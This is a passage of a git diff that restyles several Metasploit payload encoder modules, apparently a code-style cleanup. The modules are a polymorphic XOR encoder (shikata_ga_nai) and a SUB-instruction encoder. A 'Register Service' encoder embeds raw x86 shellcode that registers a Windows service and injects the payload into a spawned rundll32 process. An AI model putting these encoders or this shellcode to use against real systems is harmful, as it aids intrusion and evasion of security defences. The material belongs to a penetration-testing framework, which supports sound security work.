}) end # @@ -31,9 +30,9 @@ def initialize # being encoded. # def decoder_stub(state) - state.key = "" - state.decoder_key_size = 0 - Rex::Encoder::NonUpper::gen_decoder() + state.key = '' + state.decoder_key_size = 0 + Rex::Encoder::NonUpper.gen_decoder end # @@ -43,14 +42,14 @@ def decoder_stub(state) def encode_block(state, block) begin newchar, state.key, state.decoder_key_size = - Rex::Encoder::NonUpper::encode_byte(datastore['BadChars'], block.unpack('C')[0], state.key, state.decoder_key_size) + Rex::Encoder::NonUpper.encode_byte(datastore['BadChars'], block.unpack('C')[0], state.key, state.decoder_key_size) rescue RuntimeError => e # This is a bandaid to deal with the fact that, since it's in # the Rex namespace, the encoder itself doesn't have access to the # Msf exception classes. Turn it into an actual EncodingError # exception so the encoder doesn't look broken when it just fails # to encode. - raise BadcharError if e.message == "BadChar" + raise BadcharError if e.message == 'BadChar' end return newchar end @@ -60,7 +59,7 @@ def encode_block(state, block) # def encode_end(state) state.encoded.gsub!(/A/, state.decoder_key_size.chr) - state.encoded.gsub!(/B/, (state.decoder_key_size+5).chr) + state.encoded.gsub!(/B/, (state.decoder_key_size + 5).chr) state.encoded[0x24, 0] = state.key end end diff --git a/modules/encoders/x86/opt_sub.rb b/modules/encoders/x86/opt_sub.rb index e9c2af7cf9946..3f8c87323b6b0 100644 --- a/modules/encoders/x86/opt_sub.rb +++ b/modules/encoders/x86/opt_sub.rb @@ -8,19 +8,19 @@ class MetasploitModule < Msf::Encoder ASM_SUBESP20 = "\x83\xEC\x20" - SET_ALPHA = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' - SET_SYM = '!@#$%^&*()_+\\-=[]{};\'":<>,.?/|~' - SET_NUM = '0123456789' - SET_FILESYM = '()_+-=\\/.,[]{}@!$%^&=' + SET_ALPHA = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' + SET_SYM = '!@#$%^&*()_+\\-=[]{};\'":<>,.?/|~' + SET_NUM = '0123456789' + SET_FILESYM = '()_+-=\\/.,[]{}@!$%^&=' - CHAR_SET_ALPHA = SET_ALPHA + SET_SYM - CHAR_SET_ALPHANUM = SET_ALPHA + SET_NUM + SET_SYM - CHAR_SET_FILEPATH = SET_ALPHA + SET_NUM + SET_FILESYM + CHAR_SET_ALPHA = SET_ALPHA + SET_SYM + CHAR_SET_ALPHANUM = SET_ALPHA + SET_NUM + SET_SYM + CHAR_SET_FILEPATH = SET_ALPHA + SET_NUM + SET_FILESYM def initialize super( - 'Name' => 'Sub Encoder (optimised)', - 'Description' => %q{ + 'Name' => 'Sub Encoder (optimised)', + 'Description' => %q{ Encodes a payload using a series of SUB instructions and writing the encoded value to ESP. This concept is based on the known SUB encoding approach that is widely used to manually encode payloads with very @@ -40,18 +40,18 @@ def initialize This adds 3-bytes to the start of the payload to bump ESP by 32 bytes so that it's clear of the top of the payload. }, - 'Author' => 'OJ Reeves ', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'Decoder' => { 'BlockSize' => 4 } + 'Author' => 'OJ Reeves ', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Decoder' => { 'BlockSize' => 4 } ) register_options( [ - OptString.new( 'ValidCharSet', [ false, "Specify a known set of valid chars (ALPHA, ALPHANUM, FILEPATH)" ]), - OptBool.new( 'OverwriteProtect', [ false, "Indicate if the encoded payload requires protection against being overwritten", false]) - ], - self.class) + OptString.new('ValidCharSet', [ false, 'Specify a known set of valid chars (ALPHA, ALPHANUM, FILEPATH)' ]), + OptBool.new('OverwriteProtect', [ false, 'Indicate if the encoded payload requires protection against being overwritten', false]) + ] + ) end # @@ -72,7 +72,7 @@ def prepare_shellcode(sc, protect_payload) # int block so calculations are easy chunks = [] sc = sc.bytes.to_a - while sc.length > 0 + until sc.empty? chunk = sc.shift + (sc.shift << 8) + (sc.shift << 16) + (sc.shift << 24) chunks << chunk end @@ -114,7 +114,7 @@ def decoder_stub(state) 'ECX' => "\x51", 'EDX' => "\x52", 'EDI' => "\x57", 'ESI' => "\x56" }, - 'POP' => { 'ESP' => "\x5C", 'EAX' => "\x58", } + 'POP' => { 'ESP' => "\x5C", 'EAX' => "\x58" } } # set up our base register, defaulting to ESP if not specified @@ -122,16 +122,16 @@ def decoder_stub(state) # determine the required bytes @required_bytes = - @asm['AND']['EAX'] + - @asm['SUB']['EAX'] + + @asm['AND']['EAX'] + + @asm['SUB']['EAX'] + @asm['PUSH']['EAX'] + - @asm['POP']['ESP'] + - @asm['POP']['EAX'] + + @asm['POP']['ESP'] + + @asm['POP']['EAX'] + @asm['PUSH'][@base_reg] # generate a sorted list of valid characters - char_set = "" - case (datastore['ValidCharSet'] || "").upcase + char_set = '' + case (datastore['ValidCharSet'] || '').upcase when 'ALPHA' char_set = CHAR_SET_ALPHA when 'ALPHANUM' @@ -139,13 +139,13 @@ def decoder_stub(state) when 'FILEPATH' char_set = CHAR_SET_FILEPATH else - for i in 0 .. 255 + for i in 0..255 char_set += i.chr.to_s end end # remove any bad chars and populate our valid chars array. - @valid_chars = "" + @valid_chars = '' char_set.each_char do |c| @valid_chars << c.to_s unless state.badchars.include?(c.to_s) end @@ -158,11 +158,11 @@ def decoder_stub(state) # determine if we have any invalid characters that we rely on. unless all_bytes_valid - raise EncodingError, "Bad character set contains characters that are required for this encoder to function." + raise EncodingError, 'Bad character set contains characters that are required for this encoder to function.' end unless @asm['PUSH'][@base_reg] - raise EncodingError, "Invalid base register" + raise EncodingError, 'Invalid base register' end # get the offset from the specified base register, or default to zero if not specified @@ -173,13 +173,13 @@ def decoder_stub(state) # if we can't then we bomb, because we know we need to clear out EAX at least once unless @clear1 - raise EncodingError, "Unable to find AND-able chars resulting 0 in the valid character set." + raise EncodingError, 'Unable to find AND-able chars resulting 0 in the valid character set.' end # with everything set up, we can now call the encoding routine state.decoder_stub = encode_payload(state.buf, reg_offset, datastore['OverwriteProtect']) - state.buf = "" + state.buf = '' state.decoder_stub end @@ -193,7 +193,7 @@ def sub_3(chunk, previous) target = previous - chunk sum = [0, 0, 0] - 4.times do |idx| + 4.times do |_idx| b = (target >> shift) & 0xFF lo = md = hi = 0 @@ -243,7 +243,7 @@ def sub_3(chunk, previous) # Helper that writes instructions to zero out EAX using two AND instructions. # def zero_eax - data = "" + data = '' data << @asm['AND']['EAX'] data << @clear1 data << @asm['AND']['EAX'] @@ -255,10 +255,10 @@ def zero_eax # Write instructions that perform the subtraction using the given encoded numbers. # def create_sub(encoded) - data = "" + data = '' encoded.each do |e| data << @asm['SUB']['EAX'] - data << [e].pack("L") + data << [e].pack('L') end data << @asm['PUSH']['EAX'] data @@ -268,7 +268,7 @@ def create_sub(encoded) # Encoding the specified payload buffer. # def encode_payload(buf, reg_offset, protect_payload) - data = "" + data = '' # prepare the shellcode for munging chunks = prepare_shellcode(buf, protect_payload) @@ -282,8 +282,9 @@ def encode_payload(buf, reg_offset, protect_payload) # Write out a stubbed placeholder for the offset instruction based on # the base register, we'll update this later on when we know how big our payload is. - encoded, _ = sub_3(0, 0) + encoded, = sub_3(0, 0) raise EncodingError, "Couldn't offset base register." if encoded.nil? + data << create_sub(encoded) # finally push the value of EAX back into ESP @@ -316,17 +317,17 @@ def encode_payload(buf, reg_offset, protect_payload) # based on sizes so that the payload overlaps perfectly with the end of # our decoder total_offset = reg_offset + data.length + (chunks.length * 4) - 1 - encoded, _ = sub_3(total_offset, 0) + encoded, = sub_3(total_offset, 0) # if we're still nil here, then we have an issue raise EncodingError, "Couldn't encode protection" if encoded.nil? + patch = create_sub(encoded) # patch in the correct offset back at the start of our payload - data[base_reg_offset .. base_reg_offset + patch.length] = patch + data[base_reg_offset..base_reg_offset + patch.length] = patch # and we're done finally! data end end - diff --git a/modules/encoders/x86/service.rb b/modules/encoders/x86/service.rb index f9fe0edab18b4..b2df8625fbe52 100644 --- a/modules/encoders/x86/service.rb +++ b/modules/encoders/x86/service.rb @@ -7,125 +7,125 @@ class MetasploitModule < Msf::Encoder - Rank = ManualRanking - - def initialize - super( - 'Name' => 'Register Service', - 'Version' => '$Revision: 14774 $', - 'Description' => 'Register service if used with psexec for example', - 'Author' => 'agix', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'EncoderType' => Msf::Encoder::Type::Raw - ) + Rank = ManualRanking + + def initialize + super( + 'Name' => 'Register Service', + 'Version' => '$Revision: 14774 $', + 'Description' => 'Register service if used with psexec for example', + 'Author' => 'agix', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'EncoderType' => Msf::Encoder::Type::Raw + ) + @cpu32 = Metasm::Ia32.new + end + + def assemble(src, cpu: @cpu32) + Metasm::Shellcode.assemble(cpu, src).encode_string + end + + def can_preserve_registers? + true + end + + def modified_registers + [] + end + + def preserves_stack? + true + end + + def string_to_pushes(string) + str = string.dup + # Align string to 4 bytes + rem = str.length % 4 + if rem > 0 + str << "\x00" * (4 - rem) + pushes = '' + else + pushes = "h\x00\x00\x00\x00" end + # string is now 4 bytes aligned with null byte - @@cpu32 = Metasm::Ia32.new - def assemble(src, cpu=@@cpu32) - Metasm::Shellcode.assemble(cpu, src).encode_string + # push string to stack, starting at the back + until str.empty? + four = 'h' + str.slice!(-4, 4) + pushes << four end - def can_preserve_registers? - true - end + pushes + end - def modified_registers - [] - end + def encode_block(_state, block) + rand(0x2fffffff) - def preserves_stack? - true + push_registers = '' + pop_registers = '' + if datastore['SaveRegisters'] + datastore['SaveRegisters'].split(' ').each do |reg| + push_registers += assemble('push %s' % reg) + pop_registers = assemble('pop %s' % reg) + pop_registers + end end - def string_to_pushes(string) - str = string.dup - # Align string to 4 bytes - rem = (str.length) % 4 - if rem > 0 - str << "\x00" * (4 - rem) - pushes = '' - else - pushes = "h\x00\x00\x00\x00" - end - # string is now 4 bytes aligned with null byte - - # push string to stack, starting at the back - while str.length > 0 - four = 'h'+str.slice!(-4,4) - pushes << four - end - - pushes - end - - def encode_block(state, block) - nb_iter = rand(0x2fffffff)+0xfffffff - - push_registers = '' - pop_registers = '' - if datastore['SaveRegisters'] - datastore['SaveRegisters'].split(" ").each { |reg| - push_registers += assemble("push %s"%reg) - pop_registers = assemble("pop %s"%reg) + pop_registers - } - end - - name = ENV['MSF_SERVICENAME'] - name ||= Rex::Text.rand_text_alpha(8) - pushed_service_name = string_to_pushes(name) - - precode_size = 0xc6 - svcmain_code_offset = precode_size + pushed_service_name.length - - precode_size = 0xcc - hash_code_offset = precode_size + pushed_service_name.length - - precode_size = 0xbf - svcctrlhandler_code_offset = precode_size + pushed_service_name.length - - code_service_stopped = - "\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" + - "#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" + - "\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" + - "\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" + - "\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5" - - precode_size = 0x42 - shellcode_code_offset = code_service_stopped.length + precode_size - - # code_service could be encoded in the future - code_service = - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" + - "\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" + - "\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" + - "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" + - "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" + - "#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" + - "\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" + - "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" + - "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" + - "\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" + - "\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" + - "\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" + - "\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" + - "\x40\x68\x00\x10\x00\x00\x68#{[block.length].pack('I<')}\x57\x51\x68\xAE\x87" + - "\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" + - "#{[shellcode_code_offset].pack('I<')}\x54\x68#{[block.length].pack('I<')}" + - "\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" + - "\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" + - "\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" + - "\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}" - - return push_registers + code_service + pop_registers + block - end + name = ENV['MSF_SERVICENAME'] + name ||= Rex::Text.rand_text_alpha(8) + pushed_service_name = string_to_pushes(name) + + precode_size = 0xc6 + svcmain_code_offset = precode_size + pushed_service_name.length + + precode_size = 0xcc + hash_code_offset = precode_size + pushed_service_name.length + + precode_size = 0xbf + svcctrlhandler_code_offset = precode_size + pushed_service_name.length + + code_service_stopped = + "\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" \ + "#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" \ + "\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" \ + "\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" \ + "\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5" + + precode_size = 0x42 + shellcode_code_offset = code_service_stopped.length + precode_size + + # code_service could be encoded in the future + code_service = + "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" \ + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" \ + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" \ + "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" \ + "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" \ + "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" \ + "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" \ + "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" \ + "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" \ + "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" \ + "\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" \ + "\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" \ + "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" \ + "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" \ + "#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" \ + "\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" \ + "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" \ + "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" \ + "\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" \ + "\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" \ + "\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" \ + "\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" \ + "\x40\x68\x00\x10\x00\x00\x68#{[block.length].pack('I<')}\x57\x51\x68\xAE\x87" \ + "\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" \ + "#{[shellcode_code_offset].pack('I<')}\x54\x68#{[block.length].pack('I<')}" \ + "\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" \ + "\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" \ + "\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" \ + "\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}" + + return push_registers + code_service + pop_registers + block + end end diff --git a/modules/encoders/x86/shikata_ga_nai.rb b/modules/encoders/x86/shikata_ga_nai.rb index 1cf261d716930..21e9655a2f9b6 100644 --- a/modules/encoders/x86/shikata_ga_nai.rb +++ b/modules/encoders/x86/shikata_ga_nai.rb @@ -13,34 +13,32 @@ class MetasploitModule < Msf::Encoder::XorAdditiveFeedback def initialize super( - 'Name' => 'Polymorphic XOR Additive Feedback Encoder', - 'Description' => %q{ + 'Name' => 'Polymorphic XOR Additive Feedback Encoder', + 'Description' => %q{ This encoder implements a polymorphic XOR additive feedback encoder. The decoder stub is generated based on dynamic instruction substitution and dynamic block ordering. Registers are also selected dynamically. }, - 'Author' => 'spoonm', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'Decoder' => - { - 'KeySize' => 4, - 'BlockSize' => 4 - }) + 'Author' => 'spoonm', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Decoder' => { + 'KeySize' => 4, + 'BlockSize' => 4 + }) end # # Generates the shikata decoder stub. # def decoder_stub(state) - # If the decoder stub has not already been generated for this state, do # it now. The decoder stub method may be called more than once. - if (state.decoder_stub == nil) + if state.decoder_stub.nil? # Sanity check that saved_registers doesn't overlap with modified_registers - if (modified_registers & saved_registers).length > 0 + if !(modified_registers & saved_registers).empty? raise BadGenerateError end @@ -86,7 +84,7 @@ def block_generator_register_blacklist [Rex::Arch::X86::ESP, Rex::Arch::X86::ECX] | saved_registers end -protected + protected # # Returns the set of FPU instructions that can be used for the FPU block of @@ -108,7 +106,7 @@ def fpu_instructions fpus << "\xd9\xe5" # This FPU instruction seems to fail consistently on Linux - #fpus << "\xdb\xe1" + # fpus << "\xdb\xe1" fpus end @@ -119,8 +117,8 @@ def fpu_instructions # def generate_shikata_block(state, length, cutoff) # Declare logical registers - count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx') - addr_reg = Rex::Poly::LogicalRegister::X86.new('addr') + Rex::Poly::LogicalRegister::X86.new('count', 'ecx') + addr_reg = Rex::Poly::LogicalRegister::X86.new('addr') key_reg = nil if state.context_encoding @@ -133,11 +131,13 @@ def generate_shikata_block(state, length, cutoff) endb = Rex::Poly::SymbolicBlock::End.new # Clear the counter register - clear_register = Rex::Poly::LogicalBlock.new('clear_register', + clear_register = Rex::Poly::LogicalBlock.new( + 'clear_register', "\x31\xc9", # xor ecx,ecx "\x29\xc9", # sub ecx,ecx "\x33\xc9", # xor ecx,ecx - "\x2b\xc9") # sub ecx,ecx + "\x2b\xc9" # sub ecx,ecx + ) # Initialize the counter after zeroing it init_counter = Rex::Poly::LogicalBlock.new('init_counter') @@ -160,114 +160,118 @@ def generate_shikata_block(state, length, cutoff) # If using context encoding, we use a mov reg, [addr] if state.context_encoding - init_key = Rex::Poly::LogicalBlock.new('init_key', - Proc.new { |b| (0xa1 + b.regnum_of(key_reg)).chr + 'XORK'}) + init_key = Rex::Poly::LogicalBlock.new( + 'init_key', + proc { |b| (0xa1 + b.regnum_of(key_reg)).chr + 'XORK' } + ) # Otherwise, we do a direct mov reg, val else init_key = Rex::Poly::LogicalBlock.new('init_key', - Proc.new { |b| (0xb8 + b.regnum_of(key_reg)).chr + 'XORK'}) + proc { |b| (0xb8 + b.regnum_of(key_reg)).chr + 'XORK' }) end - xor = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } - add = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } + xor = proc { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } + add = proc { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } - sub4 = Proc.new { |b| sub_immediate(b.regnum_of(addr_reg), -4) } - add4 = Proc.new { |b| add_immediate(b.regnum_of(addr_reg), 4) } + sub4 = proc { |b| sub_immediate(b.regnum_of(addr_reg), -4) } + add4 = proc { |b| add_immediate(b.regnum_of(addr_reg), 4) } - if (datastore["BufferRegister"]) + if datastore['BufferRegister'] - buff_reg = Rex::Poly::LogicalRegister::X86.new('buff', datastore["BufferRegister"]) - offset = (datastore["BufferOffset"] ? datastore["BufferOffset"].to_i : 0) - if ((offset < -255 or offset > 255) and state.badchars.include? "\x00") - raise EncodingError.new("Can't generate NULL-free decoder with a BufferOffset bigger than one byte") + buff_reg = Rex::Poly::LogicalRegister::X86.new('buff', datastore['BufferRegister']) + offset = (datastore['BufferOffset'] ? datastore['BufferOffset'].to_i : 0) + if ((offset < -255) || (offset > 255)) && state.badchars.include?("\x00") + raise EncodingError, "Can't generate NULL-free decoder with a BufferOffset bigger than one byte" end - mov = Proc.new { |b| + + mov = proc do |b| # mov , "\x89" + (0xc0 + b.regnum_of(addr_reg) + (8 * b.regnum_of(buff_reg))).chr - } - add_offset = Proc.new { |b| add_immediate(b.regnum_of(addr_reg), offset) } - sub_offset = Proc.new { |b| sub_immediate(b.regnum_of(addr_reg), -offset) } + end + add_offset = proc { |b| add_immediate(b.regnum_of(addr_reg), offset) } + sub_offset = proc { |b| sub_immediate(b.regnum_of(addr_reg), -offset) } getpc = Rex::Poly::LogicalBlock.new('getpc') - getpc.add_perm(Proc.new{ |b| mov.call(b) + add_offset.call(b) }) - getpc.add_perm(Proc.new{ |b| mov.call(b) + sub_offset.call(b) }) + getpc.add_perm(proc { |b| mov.call(b) + add_offset.call(b) }) + getpc.add_perm(proc { |b| mov.call(b) + sub_offset.call(b) }) # With an offset of less than four, inc is smaller than or the same size as add - if (offset > 0 and offset < 4) - getpc.add_perm(Proc.new{ |b| mov.call(b) + inc(b.regnum_of(addr_reg))*offset }) - elsif (offset < 0 and offset > -4) - getpc.add_perm(Proc.new{ |b| mov.call(b) + dec(b.regnum_of(addr_reg))*(-offset) }) + if (offset > 0) && (offset < 4) + getpc.add_perm(proc { |b| mov.call(b) + inc(b.regnum_of(addr_reg)) * offset }) + elsif (offset < 0) && (offset > -4) + getpc.add_perm(proc { |b| mov.call(b) + dec(b.regnum_of(addr_reg)) * -offset }) end # NOTE: Adding a perm with possibly different sizes is normally # wrong since it will change the SymbolicBlock::End offset during # various stages of generation. In this case, though, offset is # constant throughout the whole process, so it isn't a problem. - getpc.add_perm(Proc.new{ |b| - if (offset < -255 or offset > 255) + getpc.add_perm(proc do |b| + if (offset < -255) || (offset > 255) # lea addr_reg, [buff_reg + DWORD offset] # NOTE: This will generate NULL bytes! "\x8d" + (0x80 + b.regnum_of(buff_reg) + (8 * b.regnum_of(addr_reg))).chr + [offset].pack('V') - elsif (offset > -255 and offset != 0 and offset < 255) + elsif (offset > -255) && (offset != 0) && (offset < 255) # lea addr_reg, [buff_reg + byte offset] "\x8d" + (0x40 + b.regnum_of(buff_reg) + (8 * b.regnum_of(addr_reg))).chr + [offset].pack('c') else # lea addr_reg, [buff_reg] "\x8d" + (b.regnum_of(buff_reg) + (8 * b.regnum_of(addr_reg))).chr end - }) + end) # BufferReg+BufferOffset points right at the beginning of our # buffer, so in contrast to the fnstenv technique, we don't have to # sub off any other offsets. - xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - cutoff) ].pack('c') } - xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - 4 - cutoff) ].pack('c') } - add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - cutoff) ].pack('c') } - add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - 4 - cutoff) ].pack('c') } + xor1 = proc { |b| xor.call(b) + [ (b.offset_of(endb) - cutoff) ].pack('c') } + xor2 = proc { |b| xor.call(b) + [ (b.offset_of(endb) - 4 - cutoff) ].pack('c') } + add1 = proc { |b| add.call(b) + [ (b.offset_of(endb) - cutoff) ].pack('c') } + add2 = proc { |b| add.call(b) + [ (b.offset_of(endb) - 4 - cutoff) ].pack('c') } else # FPU blocks fpu = Rex::Poly::LogicalBlock.new('fpu', - *fpu_instructions) + *fpu_instructions) fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', - "\xd9\x74\x24\xf4") + "\xd9\x74\x24\xf4") fnstenv.depends_on(fpu) # Get EIP off the stack getpc = Rex::Poly::LogicalBlock.new('getpc', - Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr }) + proc { |b| (0x58 + b.regnum_of(addr_reg)).chr }) getpc.depends_on(fnstenv) # Subtract the offset of the fpu instruction since that's where eip points after fnstenv - xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } - xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } - add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } - add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } + xor1 = proc { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } + xor2 = proc { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } + add1 = proc { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } + add2 = proc { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } end # Decoder loop block loop_block = Rex::Poly::LogicalBlock.new('loop_block') loop_block.add_perm( - Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) }, - Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) }, - Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) }, - Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) }, - Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) }, - Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) }) + proc { |b| xor1.call(b) + add1.call(b) + sub4.call(b) }, + proc { |b| xor1.call(b) + sub4.call(b) + add2.call(b) }, + proc { |b| sub4.call(b) + xor2.call(b) + add2.call(b) }, + proc { |b| xor1.call(b) + add1.call(b) + add4.call(b) }, + proc { |b| xor1.call(b) + add4.call(b) + add2.call(b) }, + proc { |b| add4.call(b) + xor2.call(b) + add2.call(b) } + ) # Loop instruction block loop_inst = Rex::Poly::LogicalBlock.new('loop_inst', - "\xe2\xf5") - # In the current implementation the loop block is a constant size, - # so really no need for a fancy calculation. Nevertheless, here's - # one way to do it: - #Proc.new { |b| - # # loop - # # -2 to account for the size of this instruction - # "\xe2" + [ -2 - b.size_of(loop_block) ].pack('c') - #}) + "\xe2\xf5") + # In the current implementation the loop block is a constant size, + # so really no need for a fancy calculation. Nevertheless, here's + # one way to do it: + # Proc.new { |b| + # # loop + # # -2 to account for the size of this instruction + # 